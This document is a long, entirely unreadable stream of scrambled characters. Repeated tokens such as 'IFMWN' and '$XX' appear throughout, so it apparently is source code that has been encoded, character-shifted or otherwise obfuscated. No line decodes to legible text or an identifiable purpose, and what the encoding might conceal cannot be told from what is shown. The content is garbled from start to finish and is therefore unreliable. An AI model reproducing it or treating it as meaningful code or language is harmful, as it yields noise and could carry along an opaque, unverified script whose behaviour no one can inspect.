$XX"S__[ML 	 
$XX"S___[ML 	 
$XX"VV_uuuu[LKHG$IFMWNHIJVWWV__[ML 	 
$XX"V"___B___WXX___BA_____WV_____[ML 	 
$XX"S__XX_BA_WV___[ML 	 
$XX"S__XX__BA__WV_[ML 	 
$XX"S_IFMWNOGOV__BA__W[ML 	 
$IFMWNGJGV"V_____@__WV_[ML 	 
$IFMWNGJGV"__E_LWNGLFVWVS_LWNGKOV_BA__OVDuu[ML 	 
__B_WIFMWNGJHV__BA___[LKHGVD[KIG	BKMUID[KKMB[KIG	RNIDu_u____WW[ML 	 
$LWNGJHV"VV____u_? WIFMWNGKLVVDu_
D[FJJ 
BIOMD[NNB[FJJ 
ZNIDuu_______[
JKIFG___B___Duu__W[
JKIFGV_____
Duu______[
JKIFG__B___
Du_____W L	WNGJMVWGKFWNGJFVVV_? L	WNGJFVWVDu______WGKFWNGJMVWLWNGIOVVV____? L	WNGINVWVDu_____WLWNGJMVWLWNGIMVVV____?GKFWNGILVW
VDu_________W^ L	WNGJMVW L	WNGIKVV___^LWNGJMVWIFMWHGLVVV_
Du__[H__B____ 
WXPXVDuu___[ KOIJ_B____ L	WNGJMVWLWILIVV___@_  
WV_____E_[H__Q_GKFWNGIJVDu___[IIM	FGL_____B______Du___[HK FM__B___
Du[IF J_B_WNTMVDu______W[ML 	 
$ L	WNGJHV"__[	NONON__BA__[F
V__u_______W^IFMWNGMNVW[F
V______W[F
$XX"V____W[F
$XX"V______W[F
$XX"VV__u__
W[ML 	 
$GKFWNGJHV"$[	NONON"VDu__[IIM	FGL__B_
Du__
Du__u______W L	WNGIIVWV__R__WV__[F
$IFMWNGJGV"__A_WLLMTNKIGV____WV____[F
$LWNGKOV"___AB__WFRLVV_uuu____KKGMM 

WLWNGLKVS____GKFWNGIHV_Q__IFMWNIHIVW[F
$XX"VVDu____O
	LW[F
$XX"VDu______
W[ML 	 
$IFMWNGJHV"$[	NONON"VDu___[IIM	FGL__B_____
Du___
Du___u___________W[IF J___CB_OV_Du__[IF JRRDu__[H IMIM____B_IFMWNGIGV__Q__IFMWNGIFVW[F
$XX"V_Q_ L	WNGHOV__Q___LWNNKKVWWOMNTONJIVS__WJNINLOTKGLGIFVVDu_W[KGJMO
NS__[ OV_____B____OGMGN
KW[H_Q__[H IMIMVDu_W[KGJMO
N__A__OV__[HK FM_B_Du_______W[KGJMO
N___CB___O_YY_LWNGHNVWIFMWHGHVVV____LWHGHVWMVDu_______W[KGJMO
N_____CB__OV___uuu___W[KGJMO
NS___[ OV_B__OGMGN
KW[H_Q_____[H IMIMVDuuu_____W[KGJMO
N_A____OV______[HK FM___B_Duuuuu______W[KGJMO
N_CB_OV_u__[ML 	 
$LWNGJHV"$[	NONON"$IFMWNGKOV"TTDu[IIM	FGL_B___
Du
Duuuu___u____W[KGJMO
N__AB__WKLKTIIVV____u_________W	L IH	W[F
VV_u_KKGMM 

WGKFWNGLKVS_GKFWNGHMV______Q_ L	WNIHIVW[F
$XX"VVDuO
	LW[F
$XX"VDuuuu_
W[ML 	 
$IFMWNGHLV"$[	NONON"VDu_______uuu_[ML 	 
$GKFWNGHLV"$[	NONON"$LWNGKOV"TTDu____u[IIM	FGL_B__
Du
Du__u_______WIFMWNGHKVW[ OS_GKFWNGHJV___Q____[F
$XX"___Q_IFMWNGHIVV___^BB___V____u_O
	LW[F
$XX"VDu_
W[ML 	 
$LWNGHLV"$[	NONON"VDu__[IIM	FGL_B_
Du
Duu__u__W[ 	FJHINS_____[ V__B__OGMGN
KW[ KOIJ_Q_WGKFWNGHHVW[ KOIJS____X@XV_BBB_____@____X@X___E_XYXV___Q__GKFWNGHGV__Q_IFMWNGIFVW[F
$XX"V___Q_GKFWNGHOV_____Q_IFMWNNKKVWWNOGLJORGLJOVS_WNNJKFLTGGKJOIVVVDu_________W[ 	FJHIN__A___OV_[HK FM_B_Duuu_____W[ 	FJHIN_____AB____WFLTKOHVV__u_____W	L IH	W[F
VV____uPP_(/_+_<
E__uuu___KKGMM 

WIFMWNGLKVS__IFMWNGHFV_____Q___IFMWNIHIVW[F
$XX"VVDuuuu______O
	LW[F
$XX"VDu___
W[ML 	 
$ L	WNGHLV"$[	NONON"VDuu__________u__[ML 	 
$IFMWNGHLV"$[	NONON"$ L	WNGKOV"TTDu___u_[IIM	FGL_____B_
Duu_
Duuu_u_______WGKFWNGNKVW[ V___YY_____IFMWNGHHVW[ S_IFMWNGHJV_Q_[F
$XX"__Q_LWNGHIVV____^BB_V___uO
	LW[F
$XX"VDu___
W[ML 	 
$ L	WNGHLV"$[	NONON"VDu___[IIM	FGL__B____
Duuuu
Du_u___[ML 	 
$GKFWNGGOV"$[	NONON"$ L	WNGKOV"TTDu_[IIM	FGL__B__
Du_u_____W[HK FM__YY_[IIM	FGL_YY_^W[ML 	 
$IFMWNGGOV"VV__[LNB/7/ 2>50- ):-,601D[KH FGL B[LNULDuuu______[KJMM____B_Du_______W[ML 	 
$ L	WNGGOV"_____[KJMLV____uPP_

_R
__(/_=_)uu_____WWV_[KJML$GKFWNGKOV"_AB_____WKRNVV_u[KJMM__B____
D[NBHGMD[ OJB[NZFDu__Du___u___uuu___W[KJMMV___u?
 WGKFWIMJVS____GKFWNGGNV_Q___GKFWNGGMVWVS_____LWNHKLVVDuuu____KKGMM 

WLWNGLKVS_ L	WNGGLVVDu__W[ML 	 
$IFMWNGGKV"___[NMN
HI______BA__[KJMLV_____u_____O
	LW[KJML$XX"VDu____
W[ML 	 
$LWNGGKV"$[NMN
HI"VDu__uu____uuuu__uu__________W^[HK FMV_uPP_(/_.
_3__uu__[JLMHGO___B_? WIFMWIMJVS____]]VDu___________W^GKFWNGGJVW[JLMHGOV________GKFWNGGIVW[JLMHGOS____GKFWNHJNVV____^BB__OV__?
 WIFMWNGGHVS___IFMWNGGGV___Q___GKFWNGGMVWVS___LWNHKLVVDu___u___WW[ML 	 
$GKFWNGGKV"VV__? W L	WNGKLVVDu_______W[IIM	FGLV_____?
 WLWNGKLVS______[ML 	 
S__IFMWNGGFVVDu____u____
_K		W[MOOVuu___u_
_____ L	WNGFOVW[MOOV_____YY__WIFMWNGFNVW[MOOS_LWNGFMVV___^BB_________IFMWNGFNVW[MOOS___ L	WNGFLVV___^BB________LWNGFNVW[MOOS_ L	WNJJLVV___^BB_________IFMWNGFNVW[MOOS___GKFWNGFKVV___^BB_______ L	WNGFNVW[MOOS_ L	WNGFJVV___^BB______IFMWNGFNVW[MOOS____IFMWNGFIVV____^BB_____VDu___u
__	MLJ  W[MOOVu_u___W^K		W[MOOVV______
_Du_________WFN	W[MOOVV___
__
Du______W L	WNHGFVW L	WNGFHVS_[MOOS_____[	HNJFIFHVV__uuuu____W[	HNJFIFH$N"________[GINNOV_u__W	 W[GINNOS__GIILHWVS____XCXVV__
_____
Du____u___
_Du__u
__
Du____u___
____ I
MFMW[LLMHNVuu___W^?IFMWNGJJVW[LLMHNV________^?LWNIIIVW[LLMHNVV_____
Du__[FOM_____B___?GKFWNHJIVW[LLMHNVDuu______W^[FOMV__
Du___W[FOM___A___WNOKGJIIMTFGVV__u__[KOH	___B__?GKFWNGJKVW[LLMHNS_____S__
S__OS_WIJKJGTHGVVDu_______W^K		W[KOH	VV__
Du______W
KKHW[LLMHNV____BBB____V__u____KKGMM 

WLWNGFGVS__ L	WNGFFV___Q__GKFWNIHIVW[LLMHNVVDu
Duu_? L	WNFOOVW[LLMHNS_____]C@#]VDu___WIFMWNGHNVW L	WMOOVVV_? 	W[LLMHNS_
VDu_
Duu_____W[FOM___A__WNIJIIMMRIOGOKIVV_____u___[OKLKK____B_____WV__? L	WNGJKVW[LLMHNS__S__
S_OS__WONLGTOHLVVDu__[NHHKLI__B___W[FOM____A___WNJKLIRHMKKVV__@_____WV__?LWNGJKVW[LLMHNS__S____
S_[FOM___R_____WGNHKTNGVV_E__]]Du___[
M
MK____B__[OKLKK__Q_[NHHKLIDu___W[
M
MK__^BB_____]]__YY___IFMWNHGFVWLWNGFHVS___[
M
MKS___[VV__u[FKOJ
GN	_B___Du_____W[$N"___[GJMHOOV___u________W	 W[GJMHOOS___GIILHWVS______XCXVV_u__[FKOJ
GN	__B__
DuDu__u__u_________W^[FKOJ
GN	V_
Duu__u_[MOO___B_?IFMWNFONVW[LLMHNVDuuu___W L	WNGFOVW[MOOV___YY___LWNFOMVW[MOOV___A_WFMFIFKTNNGGGMVV__[MOO_B__ GH
JKHW[MOOVDu______W^ L	WNGFOVW[MOOVV___
Du_________W^	MLJ  W[MOOVV_____
Du__	 	JJGW[LLMHNS_[MOOVDu______u
__	 	JJGW[LLMHNS__[MOOVuuuu[OMON
	__B__IFMWNFOLVWIFMWNFOKVS_____]]S_[MOOVDu___W^ L	WNFOJVW[OMON
	V_______LWNMGNVW[OMON
	V_BBB___]]____ L	WNMGNVW[OMON
	V_BBB__IFMWHINVV__[OMON
	___B__]C@#]Du_____WLWNFOMVW[OMON
	V_____AB__WMKTKHIV___YY___^	JFO H
W[OMON
	VV_[OMON
	___B______]C@#]D[NLB/7/ 61+ 2>'P/7/ 61+ 2>'D[IB[NLTKJDu_[ OM___B_?W[LLMHNVDuuu_______[ OM____B__W[ OM___BBB__V_@___WMFOTNLOV___E__W[ OM___Y_WKLHTHKVVDu__[NMKLF____B____?GKFWNFOIVW[LLMHNVDu_[IOFG MI_B__?GKFWMIVWIFMWNMIFVW[LLMHNVS____LWNFOHVVDu______W[IOFG MI__BBB____V____
Du___W?LWNFOOVW[IOFG MIS___[OMON
	V__^BB__GKFWNFOMVW[OMON
	VV__u_______?IFMWHHNVW[IOFG MIVDu___
Du_u__?IFMWNIKVW[IOFG MIS___[ OMVDu_W^?IFMWNFFVW[IOFG MIS__[LLMHNVV__u__?GKFWHHNVW[IOFG MIVDu____
Du________u____W[NMKLFV____?GKFWMNVW[LLMHNS__[NMKLFVDu_____WIFMWNGHNVW L	WNFOGVVV____? 	W[LLMHNS_
VDu______uuu_
_____
OIIFGW[	NVu_uuu_____W^ L	WNFOFVW[	NVV_
_]]Du___W L	WNHMNVWIFMWNFNOVS__[	NS____[ 	I  MFVV_____u_[M_B__[ 	I  MF$N"Duuuuu____[FOM__B__?IFMWNGJJVW[MV____@__?GKFWNHJIVW[MV___E_ODu__W^[FOM___[FOM__C__WOHTONNV_____[FOM___A_WJMKMGHIHTLLVV_uPP_
_	uu______W[FOM__A__WHKGNLGLNRMMLGJOLNVV_uuu___[FJK	_____B___? L	WGLGVW[MVDu_____W^GKFWNFNNVW[FJK	VV____[FJK	__B_[MDu[FJK	__B_IFMWNHGMVWX##XS___XPXS_[FJK	VDu[FGJI
M_B___Du___[MF 
__B____WWIFMWNFNMVV_@_____LWNKKKVW>=,/>+7S_LWNKNHVV_E_]]S____WLWNIIFVV_@_LWNKKKVW(/ <01+:1+ ;6-S___GKFWNKNHVV_E_]]VDuuuu________W[MF 
_____[LF		V_____u___[LF		__B_GKFWNHGMVWX##XS___XPXS__[LF		VDu_________W[LF		____^BB_]]__YY_LWNGFNVW[FJK	S____[LF		_____Q_XPXV_BBB__OV_u____[FGJI
M_B_____
DuDu_uuuuu___________W[FGJI
M__YY__
KKHW[MV_^BB___V__u_?LWHHNVW[MVDu?GKFWHHNVWGKFWNFNLVW[MV__Q_____LWHFFV_____Q__GKFWNIHIVW[MS____LWNHINVVVDu___________u__KKGMM 

WLWNGFGVS__GKFWNFNKV_Q__IFMWNIHIVW[MVVDuu__uuu____
___]]DuuuuuuPP___
Ruu____
__[	NDuuuu________
__JNKM	NJKM
JHWVuuu__[M__B_
Du___W[M__BBB_____
V____u______[MNKF
JHI_____B____	HIGNJ	LN	WVDu___[M____B____WLWNGMNVW[MNKF
JHIV_____YY_W[MNKF
JHI$ L	WIJJV"V__YY_LWNGFNVWWV__[MNKF
JHI$LWNFNJV"S_GKFWNFNIVV______BBB___OVDuu_
__[MDu_uuuu____
_____IOM	OKWVu__u___W^WGKFWNFNHVVV______
Duu[MNH_____B__>=,/>+7___Q_GKFWNJHJVDu___W^? L	WNGJJVW[MNHVV___u__[__B__GKFWNFNLVW>=,/>+7V__Q____GKFWNFNGVDu__W? L	WNFNFVW[VV_[MNH___B____[Duuu__u___________W^?IFMWNFMOVW[MNHV______^?IFMWNFMNVW[MNHVV__
Du_____[FJK	_B____?LWNFMMVW[MNHVDuuuu_____W L	WNFNNVW[FJK	V___YY___[FJK	_^BB__]]__YY_?LWNFMLVW[FJK	VV_[MNH__B_____[FJK	Du________W? L	WNFMKVW[MNHV_A__WONMIJJFTOMFHVV____
Du___[MOO____B_?GKFWNFMJVW[MNHVDu_____W^ L	WNFMIVW[MOOV_____[MOO__BBB_]]V_
Du____[JFO_B__W L	WNGFNVW[MOOS_IFMWNFMHVV___^BB______ L	WNGFNVW[MOOS_LWNFMGVV_^BB__VDu[ NK		_B_Du__WLWNFMFVW[MOOS_ L	WNFLOVV_BBB___V_uPU___UPuu____W^W[830=>3,$GKFWNFLNV"VV___u__[ NK		___B_
Du___________uuu_[
HJ__B_IFMWNGHNVWGKFWNFLMVV__@___LWNFLLVWV____E______ L	WNFLKVDuuuu_____W^? L	WNFLJVW[
HJV____^?IFMWNFLIVW[
HJVV__[ NK		__B_____
Duu_u_uuuu[
J  ____B____Duu[GJHKH____B__Du_______W^GKFWNHMNVWGKFWNFLHVS_[MOOV___YY_W L	WNIIFVVV_u______[ __B_____(/ <01+:1+ ;6-__Q_____ L	WNLFKVDuuuu_________W? L	WNFMOVW[ VV____u_____[
HI G___B_WV___? L	WNFLGVW[ S__S____
S_____OS__WOTOJKIVVDuuu____W L	WNFMFVW[
HI GS___IFMWNFLFVV_^BB_____V__[
J  ____B_
Du___u_____Wu__GKFWNFKOVW[MOOS_____IFMWIONVV_BBB______uYY_GKFWNHMNVW L	WNFKNVS_____[MOOVuuV_uu__[GJHKH___B__
Du______u___[
N
KHF____B____Du______WJNKM	NJKM
JHWVV__[MBJLMKD[FOOB[MZNJDuuuu_____Wu_______^LWNHMNVWIFMWNFKMVS____[MOOVu_____^GKFWNHMNVWGKFWNFKLVS_[MOOVu__^IFMWNFKKVWLWNFKJVS____[MOOVu_V__[
N
KHF_B_____
Du_u__W^[JFO_YY____^[ NK		___YY_^[
J  _YY___^[
N
KHF_____YY____^[GJHKHV_
Duuuu__[K__B__]]Du____[OMON
	_B___[MOODu__W[JFOV___u______WLWNHGFVW L	WNFKIVS___[MOOS__[FHLVV__[K__QB___GKFWNFKHVW]#]S_[FHL$O"VDu____[OMON
	__B_ L	WNFOLVWIFMWNFKGVS___]]S___[MOOVDuuu_____W^IFMWNFMIVW[OMON
	VV___
Du_____WLWNFKFVWIFMWNFJOVS______[OMON
	S___[LJJ	NMVV_____[K_QB___]#]_Q__LWNFKHVW]#]S__[LJJ	NM$O"VDu[OMON
	__B__IFMWNFJNVWLWNFJOVS_]]S____[OMON
	VDu___W^IFMWNFMIVW[OMON
	VV___
Duu________W[ NK		_YY____GKFWNFKKVWIFMWNFJMVS___[OMON
	VV_u_[OMON
	_____B_GKFWNFJNVW L	WNFJLVS__IFMWNFJKV____Q_____]W_X(/ +:2/ ;6-XS_W_W_X(/ <01+:1+ ;6-X_V_@_(/ <01+:1+ ;6-_E_>=,/>+7_Q_XRX_V_Q_XPQ X_VD#]S_[OMON
	S_NVDu_______W^GKFWNFJJVW[OMON
	VV_
Duu_____uuu________W[
J  _____YY_LWNFJIVWGKFWNFJMVS_[OMON
	VV__u_[OMON
	_B___GKFWNFJHVW L	WNFJGVS__ L	WNFJFV_Q__]W_X(/ <><7:XS_
_VD_PU_,< (<_UP#]S_[OMON
	S___NVDu_____W^LWNFJJVW[OMON
	VV_
Du_________W[GJHKHV____u_[OMON
	_____B_LWNFIOVW L	WNFINVS_IFMWNFJFV_Q_]W_X(/ <><7:XS_
_VD_PU_,< (<_UP#]S__[OMON
	S_____NVDu______W^GKFWNFJJVW[OMON
	VV______
Du_uu________W[
N
KHFV____u______[OMON
	_____B__GKFWNFIOVWGKFWNFIMVS____]]S___[OMON
	VDu____W^IFMWNFJJVW[OMON
	VV___
Du____W L	WNFILVWGKFWNFJGVS___[OMON
	VV____u______[OMON
	_B_LWNFIKVWLWNFJGVS_LWNFIJV__Q___]W_X(/ ;:=*8XS_
_VD#W_X(/ ;:=*8 308XS_
_VD#W_X(/ ;:=*8 ;6,/3>&XS__VD#]S_[OMON
	S____NVDuu_________W^GKFWNFIIVW[OMON
	VV__
Duuuu__u____________W[OMON
	__BBB__[MOOV__
Du______W^	JFO H
W[OMON
	VV_____
Du____W[
J  ______YY_^ON F
JW[MNHS____[MOOVV_uuu____KKGMM 

WLWNFIHVS___ L	WNIKNVVDu_[OMON
	___B_ L	WNFIKVW L	WNFIGVS__LWNFIFVS____[OMON
	S____NVDu______W^IFMWNFIIVW[OMON
	V________[OMON
	_BBB_[MOOV______
Du__________W^	JFO H
W[OMON
	VV___
Du_uuu_____[ OM__B_?W[MNHVDu______[ OM___B____W[ OM__BBB__V__@_WONMTOHV___E_____W[ OM_____Y__WMIGTMKLVVDu_[NMKLF_B__?IFMWNFOIVW[MNHVDu___[IOFG MI_B__?GKFWMIVW L	WNFNLVW[MNHVS_____IFMWNFHOVVDu_________W[IOFG MI_BBB____V_____
Du________W?IFMWNFOOVW[IOFG MIS____[OMON
	V___^BB____ L	WNFOMVW[OMON
	VV_u?IFMWHHNVW[IOFG MIVDu____
Duu__?IFMWNFHNVW[IOFG MIS__[ OMVDu__W^? L	WNFFVW[IOFG MIS__[MNHVV____uPU__
_UPuuu_____?IFMWHHNVW[IOFG MIVDu
Du_u_______W[NMKLFV_?GKFWMNVW[MNHS__[NMKLFVDu___WGKFWNGHNVWIFMWNFOGVVV____? 	W[MNHS____
VDu_______WLWNFKFVWGKFWNFHMVS____[KS_[	J
	VV____u_____WGKFWNMGMVW[	J
	$N"V______[
OLFV___u___W L	WNFHLVW[
OLFS____GKFWNFMGVV____BBB___O_YY____? L	WNFMOVW[
OLFVV_?LWHHNVW[
OLFVDu_u___u___W L	WNGHNVWIFMWNFHKVV______YY_ L	WNFKFVW L	WNFHJVS___[KS___[HNNKKVV_u______W L	WNFHIVW[HNNKK$N"V___[LKIV__u_____WGKFWNFILVW L	WNFHHVS__[LKIVV__? W[LKIVDuuu_u_____u___u_____
__LJLIHIKI
WVu___uuuu______W^WLWNFHGVVV__
Duuuu__[FNFM______B____WGKFWNIIHVV____@__(/2* /3*861 ;6-__E______(/ <01+:1+ ;6-___Q__LWNFHFVDu[ M_____B__WVDu__________WIFMWNFGOVWGKFWNFGNVVV_u_______W? L	WNFLJVW[FNFMVV_____WWV_?IFMWNFGNVW[FNFM___Q____LWIIMVV______[	GHMOV______[ M$"_B_[	GHMODu____WW L	WGMGVV_YY_?LWNFGMVW(/ /3*861 ;6-VV_______WWV____?GKFWNFGNVW(/ /3*861 ;6-_Q_ L	WNFGLVV_______[	GHMOV_[ M$"_B_____[	GHMODu__u______[_B_____W L	WNFNHVV___@_>=,/>+7__E____]]Du___[NLJ
GJ_____B__(/ <01+:1+ ;6-__Q___ L	WNFGKV__Q___LWNHFGVWGKFWNHIJVW[__Q___ L	WKJVVS_____OS_WNORMVV_Q__ L	WNFGJV___Q___LWNHFGVWIFMWNHIJVW[__Q__GKFWKHVVS_OS_WNML!NNJVV_Q__IFMWNHINVDuuu_W?GKFWNFGIVW[NLJ
GJVV_[ M$"__B_[NLJ
GJDu_____W[ M___[	GHMOV_u[NMKLF_B_?IFMWNFOIVW[	GHMOVDuuuu___W^[NMKLF__W[NMKLF__Z____WNNIJGORNIJGOVV_^BB____WFLGNMTHVV___uuuu____[NGH_____B_? L	WNFMKVW[	GHMOVDu____W^[NGH_____[NGH__C__WKGNTNFV_____[NGH____A_____WMHFHMKJMTMKKJILKGVV____
Du__uPP_(/_<	_=__
uu[FJK	__B__?IFMWNFGHVW[	GHMOVDuPP_(/_2_+_=E_
_	uu_[IJ	LG___B_?IFMWNFGGVWNIFFOOL	OWVVDu_________WIFMWNFIIVW[FJK	V____YY__IFMWNFIIVW[IJ	LGV_YY__[FJK	___BBB___[IJ	LGV_
Du_[	HFLK______B__? L	WNFLGVW[	GHMOS___S_____
S__OS___WIJHHRMKGNVVDu______W^GKFWNFIIVW[	HFLKV______GKFWNFHLVW[	HFLKS__ L	WNFGFVV____BBB_V_
D[JHOGM

BNOUID[OIB[JHOGM

RLNDuuuu____W^IFMWNFFOVWIFMWNFFNVS_____[	HFLKS_[VV__
Duuu__W^	 W[$N"S__GIILHWVS_____XCXVV____
Duuu___[_____B__
KKHW[	GHMOVDu_W[_BBB___V___uuuu_KKGMM 

WIFMWNGFGVS__IFMWNFFMV_Q_____LWNFFLVW[	GHMOVVDu_______
Du_uPP____(/_)_=uuuu______W[_BBB_
V_uuuu____WH	JO
 MW[	GHMOS____[	GHMO__Q__ L	WNFGVVV__u____WGKFWNFGOVW L	WNFFKVVV____? 	W[	GHMOS_
VDuu____u_?LWHHNVW L	WNFNLVW[	GHMOV___Q___IFMWHFFV___Q___IFMWNFFJVW[	GHMOS_IFMWNHINVVVDuu
Du_u_____? L	WHHNVW[	GHMOVDu_?IFMWHHNVWGKFWNFNLVW[	GHMOV___Q__IFMWHFFV_Q__IFMWNFFJVW[	GHMOS____LWNHINVVVDu____WIFMWNFGOVWIFMWNFFKVVV_? 	W[	GHMOS__
VDuuuu______IOM	OKWVDu____[OO	F____B__(/ <01+:1+ ;6-___Q____ L	WNMJIVDu_uuu___W?GKFWNFGMVW[OO	FV_____YY_ L	WNFGOVWGKFWNFFIVVV___uuuu_____WWV__?IFMWNFFHVW[OO	F_Q_____IFMWNFFGVV_______[	K	HV___u____W^? L	WNFFFVW[	K	HV___^?LWNFLIVW[	K	HVV_
Du_[K 
M____B___? L	WMOOOVW[	K	HVDu_____W^[K 
M_____[K 
M_A__WOHNMTONGMIVV____
Du__[L	L__B_?IFMWNFLGVW[	K	HVDu_____W^ L	WNFIIVW[L	LVV____
Du______WGKFWMOONVW[L	LS_IFMWMOOMVV_BBB____YY_GKFWMOOLVW[L	LS____IFMWMOOKVV__BBB________YY_GKFWMOOLVW[L	LS_GKFWMOOJVV_____BBB____V_
Du_W^OH

LJFLHW[L	LVV__
Duuu[ KL	NO_B_	 IJGW[L	LVDu____WIFMWNFIIVW[ KL	NOV__YY____[ KL	NO___^BB_[L	LV___u__
LKLJ	NW[	K	HS_[ KL	NOVDuuuu_W L	WNFGOVW L	WNFFKVVV_____? 	W[	K	HS__
VDu___u_u______u____ I
MFMW(/ <01+:1+ ;6-___Q_IFMWNLFKVVDu_ I
MFMW(/ <01+:1+ ;6-__Q____IFMWJHJVVDuu_______W L	WNFGOVW L	WNGJIVV___YY______IFMWNFGOVWIFMWMOOIVV____YY__LWNFGOVWIFMWMOOHVVV_[K	OIBNLGMD[MKJMB[K	OIZNLDu_[ _B__F
W>=,/>+7__Q_IFMWMOOGVS_WJCCNVVDu_[	NLH___B__? W[ S___]]VDu______WIFMWNFIIVW[	NLHV_YY___[	NLH______^BB____]]V___uu_[M	MJ__B___LWKOMVW[	NLHS_
VDu_WGKFWNFIIVW[M	MJV____YY___HIMHNKNW[M	MJVV__? W[ VDu__u__[	 GOF_B____GKFWNFGOVW L	WMOOFVV___@____
M	FKL
L  WLWNOMNVS_]]V_E_]]Du___W L	WNFIIVW[	 GOFV_YY__[	 GOF__^BB_]]__YY_WGKFWNFOMVW[	 GOFV_A___WNOKGJJMTMKV_____WGKFWNFGOVWGKFWMONOVV_YY__NMNJJFINW[	 GOFVV______FN	W[	 GOFVVV_____uuu_WLWMONNVW L	WMONMVVV_____ MIMM	WIFMWNOMNVS__]]S_ L	WMONLVVDuuuu______
__	JKWVu_[  
B/7/ 2>50- ):-,601D[
 FH KB[  
UKDuu___u______W^WGKFWNFNHVVV____
Du_______W^W[830=>3,$IFMWMONKV"VV_uuu___[830=>3,$IFMWMONKV"______B_____ODuKKGMM 

WLWMONJVS__ L	WMONIVVDu_uPP_(/_=_+E__R
uuuu_______W^W[830=>3,$GKFWHFHV"VV_
Du_[830=>3,$GKFWHFHV"___B__
Du_______W^W[ 8:+$ L	WNGMMV"V__YY_GKFWMONHVWLWNGJIVV_____YY__ L	WMONHVWLWJMMVVV___uu______[ 
FLLK__B___? WGKFWNGKLVS__WVVDu______[O JGNH	_B_Du____WGKFWNGMNVW[ 
FLLKVV_____[
JJGINBGTJOD[FGFB[
JJGINRLGDu____W^W[ 
FLLK$XX"V_YY__IFMWNGGMVWV___R__WV___[ 
FLLK$ L	WMONGV"__C__WMNLKRLLKVV_[O JGNH	__B_
Du____uu_____W^[O JGNH	_YY__^W[ 
FLLK$IFMWNGGKV"V___YY_ L	WMONFVW[ 
FLLK$LWNGGKV"VV___u___W[ 
FLLK$LWNGGKV"_______[ V__uu____WGKFWMONFVW[ V__YY_GKFWNGGMVWV___R_WV__[ $GKFWMONGV"___C_____WNHINTLFVV_u_[O JGNH	_B___
Du_Du_uu___u_u________W[O JGNH	V_GKFWMOMOVWGKFWNGKKVVDuu____WNLGIM	NJWNIFFOOL	OWVVV_
Du_LJLIHIKI
WVDu____FLMLKWNIFFOOL	OWVS_GIILHWVVDu____W^	HGFJKOWVV_____uuuu____GJ G  WVDu_JHO OWVDu___
DuPP_R_uuuu___[	KNIO______B_
MHGO
G	
FWVDu___[	GGKMG___B__Wuu___NIFFOOL	OWVSu___[	KNIO_____Q___IFMWJHJVSuVDu_[JFJ__B___LMHLJ	WVDu____W[JFJ_______[OGG
V_uu_____W?GKFWNFFFVW[OGG
VV___[	GGKMG$"____B_____[OGG
Duu_u__[HH	H_B_WVDu________WNONJFFFNWVV_____u____[	 	J__B__F
W>=,/>+7__Q___GKFWNOFMVS_____WLTJVV__Q_ L	WNHINVD[KJOBWOGTOJVD[ MF B[KJOZNKDu[HH	H$GKFWMOMNV__Q___>=,/>+7___Q_IFMWNKFLV"__B____[	 	JDu__[HH	H$ L	WMOMNV_Q___[	KNIO___Q_GKFWMOMMV"___B_[	 	JDu_____u__[	 FN 
GL___B_GKFWMOMLVW L	WNKGLVV_@_?GKFWNKGLVWGKFWMOMKVV_____E__Duu________W L	WMOMJVW[	 FN 
GLV__YY___[	 FN 
GL__^BB____]]V____u__[KJ_B_WV_ WLWNKKFVS__OVDu_W^[KJ____GKFWNGGMVWV__R____[KJ____AB___WNNNLOORMKFOOVV__uuu[JGOJF____B__F
W>=,/>+7__Q__IFMWMOMIVS__WNKRIVV__Q__LWNHINVDu[HH	H$GKFWMOMNV_Q___GKFWMOMHVW>=,/>+7S_GKFWNKNHVV_Q_XPX__Q_____[	 FN 
GL"_B__[JGOJFDu[HH	H$LWMOMNV__Q__[	KNIO__Q___XPX_Q___[	 FN 
GL"__B_____[JGOJFDu_______u_uu[ LIM___B___KLML KWVDu_____W?LWNFFFVW[ LIM$N"VV_[HH	H$GKFWMOMGV__Q___[ LIM$O""__B___ L	WMOMFV____Q_[ LIM$M"Du________[ IF
	___B____? WLWMOLOVS___WVVDu________W^GKFWMONFVW[ IF
	VV_[ IF
	___B____WVDu__[
O_B_Du______W[	GGKMG___[OGOGV_[LKBNNTJID[GOF	B[LKRKKDu__[	HJMM___B__? L	WMOLNVW[OGOGVDu_____[H MN N
_B______[	HJMM__@_____W[	HJMM$IFMWMOLMV"____Q__XX_Q__[	HJMM$LWMOLLV"V__E_____XOXDu__[
M____B_W[ IF
	$[OGOG"V__@_[ IF
	$[OGOG"_E__]]Du____W[H MN N
__BBB___[
MV_
Du_W L	WMOLKVWGKFWMOLJVS___[
MS___[OGV___YY___ L	WMOLIVW[
MS__OS_RLWNFOMVW[OG$O"VV_BBB_____[H MN N
___YY____IFMWNGGMVWV___R_WV_[OG$N"_____C__WLJKFTJNVV____
Duuuu_____[
O_B____
Du_Duuu___uu__W^[
OV___uuuu__W[HH	H______[__BA____[
M	V__uuu___[H MN N
_B___
OH	MHWLWMOLHVW[S____WNLF!NKMVVS__[
M	VDu_[
M_____B___W[ IF
	$["V___@_[ IF
	$["__E__]]Du_____W[H MN N
__BBB___[
MV____
Du______WIFMWMOLKVWGKFWMOLJVS_[
MS_[OGV___YY___IFMWMOLGVW[
MS___OS__RGKFWNFOMVW[OG$O"VV____BBB_[H MN N
_YY__GKFWNGGMVWV__R___WV___[OG$N"______C_WGILKNTJFVV__
Du__[
O__B_
Du_____Duuuu_____u____u_[I	 ___B____IFMWNFFJVWNIFFOOL	OWVS__GKFWNHINVVDuu[NNI__B_[	KNIO__Q____LWJJV_Q__[I	 _Q_____XPX_Q_[I	 _____Q__GKFWNHINVDu_______[ JOOIF______B____LMN	IIOMF MWVDu_____W^?GKFWMOLFVW[NNIV_______WV__? L	WMOKOVW[NNIV______C__WJGFLRGFLVV__[
O__B_
Du____W[ JOOIF__^BB__]]__YY___^?IFMWMOKNVW[ JOOIFVV___[
O__B____
Du_________W^[
O_YY_IFMWMOKMVWIFMWNGJIVVV___uPP_?_
uu__[HMLOJ__B_[I	 _Q_XPX__Q_[I	 ___Q______IFMWMOKLVDuuuu______[HGIH__B___ WLWHHGVS_WVVDu__________W^GKFWMONFVW[HGIHV__^GKFWHFIVW[HMLOJS__[HGIHS___
VV__[
O___B____
Duuuu_____u________W^[
OV____
Du___uu____W^FHMJJFGIFKNWGKFWGONVVV__
Du_______u_______O
OHWVDuuu_IMHMH		OWVD[OIHB/7/ 2>50- ):-,601D[HN	G 
B[OIHULDuu_JHO OWVDu_______OMLNN	WVDu_M 	FJFWVDu_______GJ G  WVDuu______G
WVDu_FOMKWVD[HOI
BHIULD[ N	FKKB[HOI
